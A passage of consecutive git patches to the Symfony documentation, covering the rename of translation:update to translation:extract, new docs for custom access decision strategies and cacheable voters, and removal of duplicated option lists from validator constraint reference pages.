-       {{ message|trans({'%name%': '...', '%count%' => 1}, 'app') }}
+       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
 
     The ``message`` variable must include all the different versions of this
     message based on the value of the ``count`` parameter. For example:

From 7f44b336c28ab8ac66cfd4a3912779d4b0f1f0aa Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Thu, 28 Oct 2021 10:08:24 +0200
Subject: [PATCH 1291/5766] Rename translation:update to translation:extract

---
 reference/dic_tags.rst |  2 +-
 translation.rst        | 15 ++++++++++-----
 2 files changed, 11 insertions(+), 6 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 23b694910d9..fd84a0ac70b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1021,7 +1021,7 @@ translation.extractor
 **Purpose**: To register a custom service that extracts messages from a
 file
 
-When executing the ``translation:update`` command, it uses extractors to
+When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
 has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a
 :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which
diff --git a/translation.rst b/translation.rst
index 83e95f8dda4..a3d49778c5e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -466,21 +466,26 @@ Extracting Translation Contents and Updating Catalogs Automatically
 
 The most time-consuming tasks when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
-sync. Symfony includes a command called ``translation:update`` that helps you
+sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
 
 .. code-block:: terminal
 
     # shows all the messages that should be translated for the French language
-    $ php bin/console translation:update --dump-messages fr
+    $ php bin/console translation:extract --dump-messages fr
 
     # updates the French translation files with the missing strings for that locale
-    $ php bin/console translation:update --force fr
+    $ php bin/console translation:extract --force fr
 
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
-    $ php bin/console translation:update --help
+    $ php bin/console translation:extract --help
 
-The ``translation:update`` command looks for missing translations in:
+.. deprecated:: 5.4
+
+    Support for ``translation:update`` was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
+The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory
   defined in the :ref:`twig.default_path <config-twig-default-path>` and

From 4c34e056918e790ccc39804afe892524013df76c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=96=AF=E8=80=83=E5=90=89=E6=81=A9?= <scourgen@gmail.com>
Date: Thu, 28 Oct 2021 17:12:04 +0800
Subject: [PATCH 1292/5766] make following jquery example works

in this section: https://symfony.com/doc/5.4/frontend/encore/simple-example.html#requiring-javascript-modules

It's using jquery as example, so we should tell user that they have to enable autoProvidejQuery option to use jquery in following tutorial.
---
 frontend/encore/simple-example.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3cd89e092bf..cbec25be78c 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -43,7 +43,8 @@ of your project. It already holds the basic config you need:
 
         .addEntry('app', './assets/app.js')
 
-        // ...
+        // Don't forget to uncomment If you want use following JQuery example code
+        .autoProvidejQuery()
     ;
 
     // ...

From 7fd01364d897b72635ec2c7e2eb2dd2e1acf2c46 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Oct 2021 11:44:42 +0200
Subject: [PATCH 1293/5766] Minor tweak

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index a3d49778c5e..e716f057dc2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -482,7 +482,8 @@ with these tasks:
 
 .. deprecated:: 5.4
 
-    Support for ``translation:update`` was deprecated in Symfony 5.4
+    In previous Symfony versions, the ``translation:extract`` command was called
+    ``translation:update``, but that name was deprecated in Symfony 5.4
     and it will be removed in Symfony 6.0.
 
 The ``translation:extract`` command looks for missing translations in:

From 34a35c060cfcd1b2cccb42e8393e41955142b0a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Oct 2021 11:47:17 +0200
Subject: [PATCH 1294/5766] Remove deprecated directive

---
 translation.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/translation.rst b/translation.rst
index eb0ea87e5dc..fc78df9808e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -476,12 +476,6 @@ with these tasks:
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
     $ php bin/console translation:extract --help
 
-.. deprecated:: 5.4
-
-    In previous Symfony versions, the ``translation:extract`` command was called
-    ``translation:update``, but that name was deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
 The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory

From 3cae3a13839ffefff80a1836542b2a6b31e0d8e5 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 28 Oct 2021 16:38:05 +0200
Subject: [PATCH 1295/5766] [Validation] improve code for counting errors

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 9699e5353cc..3565de902d8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -25,7 +25,7 @@ address. From inside a controller, it looks like this::
             $emailConstraint
         );
 
-        if (0 === count($errors)) {
+        if (!$errors->count()) {
             // ... this IS a valid email address, do something
         } else {
             // this is *not* a valid email address

From c955fd705f9d1734dd97b85a47a95c4aab244949 Mon Sep 17 00:00:00 2001
From: Tom Nguyen <7121553+tunggnu@users.noreply.github.com>
Date: Thu, 28 Oct 2021 22:11:13 +0700
Subject: [PATCH 1296/5766] Add the missing square bracket for a route

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index cc00e592880..76b892c8455 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -133,7 +133,7 @@ You can now add your route directly *above* the controller:
 
         class LuckyController
         {
-        +   #[Route('/lucky/number')
+        +   #[Route('/lucky/number')]
             public function number()
             {
                 // this looks exactly the same

From 04ce795303a21d1681e450135d6f469ce8c6d4e3 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 29 Oct 2021 16:17:14 +0200
Subject: [PATCH 1297/5766] Document custom access decision managers

---
 components/security/authorization.rst | 90 +++++++++++++++++----------
 security/voters.rst                   | 53 +++++++++++++++-
 2 files changed, 109 insertions(+), 34 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index ffc4edc278a..3effc3d0794 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -37,26 +37,8 @@ Access Decision Manager
 Since deciding whether or not a user is authorized to perform a certain
 action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
 itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
+the votes (either positive, negative or neutral) it has received and the
+given strategy.
 
 Usage of the available options in detail::
 
@@ -65,27 +47,69 @@ Usage of the available options in detail::
     // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
     $voters = [...];
 
-    // one of "affirmative", "consensus", "unanimous", "priority"
+    // instance of Symfony\Component\Security\Core\Authorization\Strategy\AccessDecisionStrategyInterface
     $strategy = ...;
 
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
+    $accessDecisionManager = new AccessDecisionManager($voters, $strategy);
 
 .. seealso::
 
     You can change the default strategy in the
     :ref:`configuration <security-voters-change-strategy>`.
 
+Strategies
+----------
+
+.. versionadded:: 5.4
+
+    The strategy classes were introduced in Symfony 5.4. In earlier versions, the strategy was passed as a string.
+
+The following strategies are bundled with the component:
+
+``AffirmativeStrategy`` (default)
+    grant access as soon as there is one voter granting access;
+
+``ConsensusStrategy``
+    grant access if there are more voters granting access than there are denying;
+    if there is a draw between votes, the decision is made based on the
+    ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
+
+``UnanimousStrategy``
+    only grant access if none of the voters has denied access.
+
+``PriorityStrategy``
+    grants or denies access by the first voter that does not abstain;
+
+    .. versionadded:: 5.1
+
+        The "priority" version strategy was introduced in Symfony 5.1.
+
+If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
+constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+
+If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
+receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+
+::
+
+    /**
+     * Always picks the third voter.
+     */
+    class ThirdVoterStrategy implements AccessDecisionStrategyInterface
+    {
+        public function decide(\Traversable $results): bool
+        {
+            $votes = 0;
+            foreach ($results as $result) {
+                if (++$votes === 3) {
+                    return $result === VoterInterface::ACCESS_GRANTED;
+                }
+            }
+
+            return false;
+        }
+    }
+
 Voters
 ------
 
diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..6b8d674adab 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -345,7 +345,58 @@ security configuration:
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If none of the built-in strategies fits your use case, define the ``service``
+.. versionadded:: 5.4
+
+    The ``strategy_service`` option was introduced in Symfony 5.4.
+
+If none of the built-in strategies fits your use case, define the ``strategy_service``
+option to use a custom service (your service must implement the
+:class:`Symfony\\Component\\Security\\Core\Authorization\\Strategy\\AccessDecisionStrategyInterface`):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            access_decision_manager:
+                strategy_service: App\Security\MyCustomAccessDecisionStrategy
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+
+            <config>
+                <access-decision-manager
+                    strategy-service="App\Security\MyCustomAccessDecisionStrategy"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\MyCustomAccessDecisionStrategy;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategyService(MyCustomAccessDecisionStrategy::class)
+                // ...
+            ;
+        };
+
+Custom Access Decision Manager
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to provide an entirely custom access decision manager, define the ``service``
 option to use a custom service as the Access Decision Manager (your service
 must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`):
 

From 1381c83b1b6e6a723a8052281caddbf3dae18935 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Fri, 29 Oct 2021 16:46:11 +0200
Subject: [PATCH 1298/5766] [HTTP Foundation] Improve sentence to avoid
 repetition

---
 components/http_foundation.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 3df8d5c9c94..a66baa7609d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -252,8 +252,10 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method or the
-:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method;
+:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method 
+from the :class:`Symfony\\Component\\HttpFoundation\\Request` class or the
+:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method
+from the :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
 the
 :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of

From cb8ba0067c22c628c8a2607b7ad9fcc4c2019d13 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Fri, 29 Oct 2021 18:29:18 +0200
Subject: [PATCH 1299/5766] Add documentation about CacheableVoterInterface

---
 security/voters.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..aec93cff3a6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -62,6 +62,18 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
+.. tip::
+
+    Checking each voter several times can be time consumming for applications
+    that perform a lot of permission checks. However, when a voter implements
+    the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`,
+    the access decision manager, will remember the attribute and type of subject
+    supported by the voter, and will, next, only call the involved voters.
+
+    .. versionadded:: 5.4
+
+        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
+
 Setup: Checking for Access in a Controller
 ------------------------------------------
 

From 8df9ed2132612540f701166ca956ca50b28ce2c6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Oct 2021 20:12:45 +0200
Subject: [PATCH 1300/5766] Minor tweak

---
 components/http_foundation.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a66baa7609d..6154119e715 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -252,12 +252,9 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method 
-from the :class:`Symfony\\Component\\HttpFoundation\\Request` class or the
-:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method
-from the :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
-the
-:method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
+``getSession()`` method of the :class:`Symfony\\Component\\HttpFoundation\\Request`
+or :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
+the :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
 the previous requests.
 

From 0d56f40042c8310e004d6614920aacae92d2de97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 10:35:35 +0200
Subject: [PATCH 1301/5766] Remove duplicated entries in validator constraint
 pages

---
 reference/constraints/All.rst                 |  3 --
 reference/constraints/Bic.rst                 |  6 ----
 reference/constraints/Blank.rst               |  3 --
 reference/constraints/Callback.rst            |  3 --
 reference/constraints/CardScheme.rst          |  4 ---
 reference/constraints/Choice.rst              | 11 -------
 reference/constraints/Collection.rst          |  7 -----
 reference/constraints/Count.rst               |  7 -----
 reference/constraints/Country.rst             |  3 --
 reference/constraints/Currency.rst            |  3 --
 reference/constraints/Date.rst                |  3 --
 reference/constraints/DateTime.rst            |  4 ---
 reference/constraints/DivisibleBy.rst         |  5 ----
 reference/constraints/Email.rst               |  7 -----
 reference/constraints/EqualTo.rst             |  5 ----
 reference/constraints/Expression.rst          |  5 ----
 reference/constraints/File.rst                | 18 ------------
 reference/constraints/GreaterThan.rst         |  5 ----
 reference/constraints/GreaterThanOrEqual.rst  |  5 ----
 reference/constraints/Iban.rst                |  3 --
 reference/constraints/IdenticalTo.rst         |  5 ----
 reference/constraints/Image.rst               | 29 -------------------
 reference/constraints/Ip.rst                  |  5 ----
 reference/constraints/IsFalse.rst             |  3 --
 reference/constraints/IsNull.rst              |  3 --
 reference/constraints/IsTrue.rst              |  3 --
 reference/constraints/Isbn.rst                |  7 -----
 reference/constraints/Issn.rst                |  5 ----
 reference/constraints/Json.rst                |  2 --
 reference/constraints/Language.rst            |  3 --
 reference/constraints/Length.rst              | 11 -------
 reference/constraints/LessThan.rst            |  5 ----
 reference/constraints/LessThanOrEqual.rst     |  5 ----
 reference/constraints/Locale.rst              |  4 ---
 reference/constraints/Luhn.rst                |  3 --
 reference/constraints/Negative.rst            |  3 --
 reference/constraints/NegativeOrZero.rst      |  3 --
 reference/constraints/NotBlank.rst            |  5 ----
 .../constraints/NotCompromisedPassword.rst    |  5 ----
 reference/constraints/NotEqualTo.rst          |  5 ----
 reference/constraints/NotIdenticalTo.rst      |  5 ----
 reference/constraints/NotNull.rst             |  3 --
 reference/constraints/Positive.rst            |  3 --
 reference/constraints/PositiveOrZero.rst      |  3 --
 reference/constraints/Range.rst               | 10 -------
 reference/constraints/Regex.rst               |  7 -----
 reference/constraints/Time.rst                |  3 --
 reference/constraints/Timezone.rst            |  6 ----
 reference/constraints/Traverse.rst            |  2 --
 reference/constraints/Type.rst                |  4 ---
 reference/constraints/Unique.rst              |  3 --
 reference/constraints/UniqueEntity.rst        |  9 ------
 reference/constraints/Url.rst                 |  8 -----
 reference/constraints/UserPassword.rst        |  3 --
 reference/constraints/Uuid.rst                |  6 ----
 reference/constraints/Valid.rst               |  3 --
 56 files changed, 302 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..bdb0ebda7d1 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -6,9 +6,6 @@ you to apply a collection of constraints to each element of the array.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\All`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AllValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 0d00fca6297..d5245370339 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -8,12 +8,6 @@ check that the BIC's country code is the same as a given IBAN's one.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `iban`_
-            - `ibanMessage`_
-            - `ibanPropertyPath`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Bic`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BicValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 5f0c6191fc1..2713debb531 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -15,9 +15,6 @@ But be careful as ``NotBlank`` is *not* strictly the opposite of ``Blank``.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Blank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BlankValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index c917bf93412..018472ab46d 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -19,9 +19,6 @@ can do anything, including creating and assigning validation errors.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>`
-Options     - :ref:`callback <callback-option>`
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Callback`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CallbackValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index e8e2b744987..88bac729fee 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -7,10 +7,6 @@ a payment through a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `schemes`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CardScheme`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CardSchemeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 0e099053775..ad61c146561 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -7,17 +7,6 @@ an array of items is one of those valid choices.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `callback`_
-            - `choices`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `message`_
-            - `min`_
-            - `minMessage`_
-            - `multiple`_
-            - `multipleMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Choice`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ChoiceValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c60679aa90b..b6b75ce09b5 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -18,13 +18,6 @@ and that extra keys are not present.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowExtraFields`_
-            - `allowMissingFields`_
-            - `extraFieldsMessage`_
-            - `fields`_
-            - `groups`_
-            - `missingFieldsMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Collection`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CollectionValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index dbbe94b480a..e372247490f 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -6,13 +6,6 @@ Countable) element count is *between* some minimum and maximum value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Count`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 4582a930cad..aba1eda40e8 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 901a989010b..c35b8a3673f 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Currency`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index db55de84dd6..27c954ccfcc 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Date`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index c3a9c328932..c62b360c2c8 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -6,10 +6,6 @@ that can be cast into a string) that follows a specific format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `format`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DateTime`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateTimeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 73b0a9c88b6..38f98d1a98f 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -5,11 +5,6 @@ Validates that a value is divisible by another value, defined in the options.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleBy`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleByValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5cbeaeb4523..78a55a071bb 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -6,13 +6,6 @@ cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `checkHost`_
-            - `checkMX`_
-            - `groups`_
-            - `message`_
-            - `mode`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Email`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EmailValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..aaf9c059e28 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index fbcbfc9c2b2..e1ab2550919 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -9,11 +9,6 @@ gives you similar flexibility.
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
-Options     - :ref:`expression <reference-constraint-expression-option>`
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `values`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Expression`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index bc93caf83d1..b6a535c89d3 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -18,24 +18,6 @@ form field.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `binaryFormat`_
-            - `disallowEmptyMessage`_
-            - `groups`_
-            - `maxSize`_
-            - `maxSizeMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `notFoundMessage`_
-            - `notReadableMessage`_
-            - `payload`_
-            - `uploadCantWriteErrorMessage`_
-            - `uploadErrorMessage`_
-            - `uploadExtensionErrorMessage`_
-            - `uploadFormSizeErrorMessage`_
-            - `uploadIniSizeErrorMessage`_
-            - `uploadNoFileErrorMessage`_
-            - `uploadNoTmpDirErrorMessage`_
-            - `uploadPartialErrorMessage`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\File`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\FileValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..2f2f39cb65e 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/LessThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
